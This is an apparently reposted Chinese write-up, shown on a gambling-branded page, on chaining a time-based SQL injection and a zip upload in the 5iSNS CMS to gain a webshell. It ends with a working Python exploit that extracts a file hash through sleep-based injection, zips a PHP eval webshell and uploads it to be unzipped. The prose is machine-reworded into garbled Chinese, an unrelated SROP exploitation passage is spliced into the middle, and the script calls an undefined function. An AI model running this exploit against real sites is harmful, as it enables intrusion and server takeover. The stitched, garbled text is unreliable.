某CMS组合破绽至Getshell | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

某CMS组合破绽至Getshell

申博_人物事迹 申博 82次浏览 未收录 0个评论

媒介

起首这个文件上传的破绽点只能上传压缩包,因而并不克不及直接getshell。

这里的组合原理是经由过程sql注入破绽拿到数据库中寄存的压缩包信息,然后应用压缩包信息去组织payload触发解压缩操纵,终究完成getshell。

审计的cms名为5iSNS内容付费体系,代码范围并不大,然则破绽点对照风趣,故分享此文。

1. sql注入破绽

实在乍一看他的数据库衔接函数,都带有pdo的字样,然则跟进去详细瞧一瞧才发明实在照样用了许多的原生处置惩罚,如转义等操纵,并没有完整做到预编译。

末了的进口破绽代码位于5isns/basephp/func/db.func.php第241行

function db_find_one($table, $cond = array(), $orderby = array(), $col = array(), $d = NULL) {
    $db = $_SERVER['db'];

    // 高效写法,定参有利于编译器优化
    $d = $d ? $d : $db;
    if(!$d) return FALSE;

    return $d->find_one($table, $cond, $orderby, $col);
}

这里对应的实在就是最简朴的select功用,这里须要重点存眷$cond这个参数,这实在就是我们用户传入的键值对。跟进到find_one函数中去,代码位于5isns/basephp/class/db_pdo_mysql.class.php第156行

public function find_one($table, $cond = array(), $orderby = array(), $col = array()) {
        $cond = db_cond_to_sqladd($cond);
        $orderby = db_orderby_to_sqladd($orderby);
        $cols = $col ? implode(',', $col) : '*';
        return $this->sql_find_one("SELECT $cols FROM {$this->tablepre}$table $cond$orderby LIMIT 1");
    }

这里最先就有点类似于那种pdo的模样,占位传输,我们仅需跟进到db_cond_to_sqladd函数,代码位于5isns/basephp/func/db.func.php第295行

// 花样:
array('id'=>123, 'groupid'=>123)
array('id'=>array(1,2,3,4,5))
array('id'=>array('>' => 100, '<' => 200))
array('username'=>array('LIKE' => 'jack'))
array('id'=>array('!=' => array(2,9))) not in

*/

function db_cond_to_sqladd($cond) {
    $s = '';
    if(!empty($cond)) {
        $s = ' WHERE ';
        foreach($cond as $k=>$v) {


            if(!is_array($v)) {
                $v = (is_int($v) || is_float($v)) ? $v : "'".addslashes($v)."'";
                $s .= "`$k`=$v AND ";
            } elseif(isset($v[0])) {

                // OR 效力比 IN 高
                $s .= '(';
                //$v = array_reverse($v);
                foreach ($v as $v1) {
                    $v1 = (is_int($v1) || is_float($v1)) ? $v1 : "'".addslashes($v1)."'";
                    $s .= "`$k`=$v1 OR ";
                }
                $s = substr($s, 0, -4);
                $s .= ') AND ';

                /*
                $ids = implode(',', $v);
                $s .= "$k IN ($ids) AND ";
                */
            } else {

                foreach($v as $k1=>$v1) {

                    if($k1 == 'LIKE') {
                        $k1 = ' LIKE ';
                        $v1="%$v1%";    


                    }
                    if($k1=='!='&&is_array($v1)){//用于实行not in 查询
                        foreach($v1 as $v2) {

                            $s .= "`$k`$k1$v2 AND ";
                        }
                        continue;
                    }
                    $v1 = (is_int($v1) || is_float($v1)) ? $v1 : "'".addslashes($v1)."'";


                    if(strrpos($k,'CONCAT')!==false){

                      $s .= "$k$k1$v1 AND ";
                    }else{
                      $s .= "`$k`$k1$v1 AND ";
                    }

                }
            }
        }
        $s = substr($s, 0, -4);
    }

    return $s;
}

从第一个foreach最先取get或许post中的键名和对应的值,然则这里的is_array($v)引起了我的警醒,假定我们的传入一个参数比方id[test]=1,那末来看看会发作甚么

某CMS组合破绽至Getshell

从图中可以或许看到这里的id作为键,test和1作为array,那末个中的test实在就是value中的键,因而会进入到顺序中的末了一个轮回,这里从新梳理下顺序流程

SROP exploit

传统的ROP技术,尤其是amd64上的ROP,需要寻找大量的gadgets以对寄存器进行赋值,执行特定操作,如果没有合适的gadgets就需要进行各种奇怪的组装。这一过程阻碍了ROP技术的使用。而SROP技术的提出大大简化了ROP攻击的流程。 原理 SROP(Sigreturn Oriented Programming)技术利用了类Unix系统中的Signal机制,如图: 当一个用户层进程发起signal时,控制权切到内核层 内核保存进程的上下文(对我们来说重要的就是寄存器状态)到用户的栈上,然后再把rt_sigreturn地址压栈,跳到用户层执行Signal Handler,即调用rt_sigreturn rt_sigreturn执行完,跳到内核层 内核恢复②中保存的进程上下文,控制权交给用户层进程 重点:内核恢复②中保存的进程上下文,控制权交给用户层进程 ucontext_t结构体 这里我只写64位的,32位的也差不多。 保存的就是ucontext_t结构体,一个很长的结构体: // defined in /usr/include/sys/ucontext.h
/* Userlevel context. */
typedef struct ucontext_t
{
unsigned long int uc_flags;
struct ucontext_t *uc_link;
stack_t uc_stack; // the stack used by this context
mcontext_t uc_mcontext; // the saved conte

function db_cond_to_sqladd($cond) {
    $s = '';
    if(!empty($cond)) {
        $s = ' WHERE ';
        foreach($cond as $k=>$v) {


            if(!is_array($v)) {
                ……
            } elseif(isset($v[0])) {
                ……
            } else {
                foreach($v as $k1=>$v1) {
                    ……
                    $v1 = (is_int($v1) || is_float($v1)) ? $v1 : "'".addslashes($v1)."'";
                    if(strrpos($k,'CONCAT')!==false){
                      ……
                    }else{
                      $s .= "`$k`$k1$v1 AND ";
                    }
                }
            }
        }
        $s = substr($s, 0, -4);
    }

    return $s;
}

从新梳理下,若是我们输入id[test]=1,那末终究$k1就会即是test,$v1就会即是1,终究拼接的语句就为`id`test\’1′,那末这里我们就可以直接掌握test这个变量,须要注重的是在这类注入破绽中不克不及运用即是号,因而这里注入破绽可以或许运用in语句或许like语句来替换即是号的功用。

2. 文件上传

因为前台用户是无限定注册的,因而这里在上传压缩包的时刻虽然须要用户权限,然则等同于无限定,别的在上传文档的时刻因为须要背景管理员考核,因而在前台上传文档后是看不到任何相干信息,然则压缩包和文档的相干信息实在都已存在数据库里了,这里经由过程sql注入破绽都可以或许拿到。

某CMS组合破绽至Getshell

$path = $conf['upload_path'].$allowtype.'/'.$day;
            $url = $conf['upload_url'].$allowtype.'/'.$day;

这里的$allowtype为attach,也就是上传的压缩包是会写入到attach目次下,为背面埋下伏笔。。

3. 破绽组合

因为终究目标是getshell,然则经由过程sql注入拿到管理员账号和暗码,登录进背景发明并没有可以或许getshell的破绽,因而发掘重点就在怎样解压缩先前这个压缩包,若是可以或许解压缩那末就可以够取得压缩包中的shell文件,到达getshell的目标。以是接下来最先搜刮跟解压缩相干的函数。
解压缩的通用代码位于5isns/basephp/func/xn_zip.func.php第36行

function xn_unzip($zipfile, $extdir) {

    if(class_exists('ZipArchive')) {
        $z = new ZipArchive;
        if($z->open($zipfile) === TRUE) {
            $z->extractTo($extdir);
            $z->close();
        }
    } else {
        include_once BASEPHP_FUNPATH.'xn_zip_old.func.php';
        xn_unzip_old($zipfile, $extdir);
    }
}

这里的功用实在就是解压缩,下面最先搜刮挪用该函数的相干代码,在一处前台无需用户权限的代码里看到了挪用,破绽代码位于5isns/app/index/controller/doc.php

elseif($action == 'upload'){
$num = param('num');
$data['file'] = $_FILES['file'];
$data['page'] = intval(param('page'));//file_get_contents("php://input");
$data['sha1'] = param('sha1');
$data['token'] = param('token');
$data['time'] = param('time');
$time1 = $data['time'];
$token = md5($conf['auth_key'].$conf['appid'].$time1);

if($time-intval($time1)>60){
    //逾期了

}else{
$tmpanme = $data['file']['name'];
$tmpurl = $conf['upload_url'] . 'docview/' . $tmpanme;
$replace['online_trans_num'] = $num-1;

file_replace_var(DATA_PATH.'config/conf.default.php', $replace);
if (!file_exists($tmpurl)) {

    if (!move_uploaded_file($data['file']['tmp_name'], $tmpurl)) {
       echo xn_json_encode(array('code'=>0,'message'=>'建立文件失利'));
       return;
    }else{
       $info = db_find_one('doccon',array('sha1'=>$data['sha1']));
       $fileinfo = db_find_one('file',array('id'=>$info['fileid']));
       $name = str_replace('.'.$fileinfo['ext'],'',$fileinfo['savename']);
       xn_unzip($conf['upload_path'].'docview/'.$name.'.zip', $conf['upload_path'].'docview/'.$name.'/');
    ……

这里的param参数跟进去看实在等同于$_REQUEST猎取变量的体式格局,因而下面须要思索怎样进入到终究的unzip函数。

第一个限定前提$time-intval($time1)>60这个主如果逾期推断,因而每次都带上time参数就可以够掩盖先前的time1变量。

第二个限定前提file_exists($tmpurl),这里回溯就会发明这里的$tmpurl是由$_FILES[‘file’]参数取得,这也是用户可以或许掌握的参数,只需包管每次传入的文件名不一样便可进入到if前提中。

第三个限定前提move_uploaded_file($data['file']['tmp_name'], $tmpurl)会将我们以后上传的文件由tmp目次写入到docview目次下。这里就有个题目,那就是我们先前在上传文件那一步上传文档的终究物理途径并非docview目次,因而若是想要直接解压缩先前上传的文档,现在来看因为物理途径的不一致,这条路并不克不及走通。

终究进入到了else前提下,第四个限定前提也是最症结的前提,这里解压缩的文件名是经由过程数据库查取获得,查取前提就是我们传入的sha1值,看到这里实在就有点山穷水尽了。这里在数据库傍边一个sha1值就会对应一个savename,末了也就是对这个savename举行解压缩。那末这个sha1值和savename就是依据先前在文件上传那步界说的,配合上sql注入破绽,我们就可以够到数据库中去取这个sha1值和savename。

取完进入到终究的unzip函数,这里文件名是docview目次下的,也就是说先前在文件上传那步触及的压缩包在这里并不克不及被解压缩,他只是供应了一个可以或许解压缩的文件名。因而在这一步我们就必须经由过程$_FILES[‘file’]来将savename的同名文件上传到docview目次下。然后经由过程传入对应的sha1值来解压缩这个同名文件,终究取得压缩文件中的shell。
某CMS组合破绽至Getshell

跋文

增补下注入代码和主代码

def get_sha1(root_url,hex_title,payload,headers):
    sha1 = ''
    for i in xrange(1,33):
        for x in payload:
            param = "?val[ and if(ascii(substr((select sha1 from 5isns_file where name in (%s)),%s,1)) in (%d),sleep(3),0)--+]=1" % (hex_title,i,ord(x))
            url = root_url + '/api-focus' + param
            print url
            start_time = time.time()
            s = requests.get(url=url)
            end_time = time.time()
            if end_time - start_time > 2:
                sha1 += x 
                print sha1
                break
    return sha1
def upload_shell_dir(root_url,sha1,shell_dir):
    filename = shell_dir + '.zip'
    cmd = 'echo "<?php @eval(\$_POST[1]);?>" > shell.php && zip %s shell.php' % filename
    os.system(cmd)

    exp_url = root_url + '/doc-upload?time=%s&sha1=%s' % ('159999999999',sha1)

    files = {
        "file":open(filename,'rb'),
        "file_name":(None,"testssss")
    }
    s = requests.post(url=exp_url,files=files)

    shell_url = root_url + '/upload/docview/' + shell_dir + '/shell.php'
    data = {'1':'phpinfo();'}
    s = requests.post(url=shell_url,data=data)
    if 'phpinfo' in s.text:
        print shell_url
        print 'attack success!'
def main():
    headers = {
    "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:66.0) Gecko/20100101 Firefox/66.0",
    "Accept":"text/plain, */*; q=0.01",
    "Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
    "X-Requested-With": "XMLHttpRequest"
    }
    payload = string.digits + string.lowercase + '._'
    hex_title = '0x7368656c6c2e7068702e7a6970'
    #shell.php.zip
    root_url = 'http://127.0.0.1:9999'
    sha1 = get_sha1(root_url,hex_title,payload,headers)
    shell_dir = get_shell_dir(root_url,hex_title,payload,headers)
    upload_shell_dir(root_url,sha1,shell_dir)

申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明某CMS组合破绽至Getshell
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址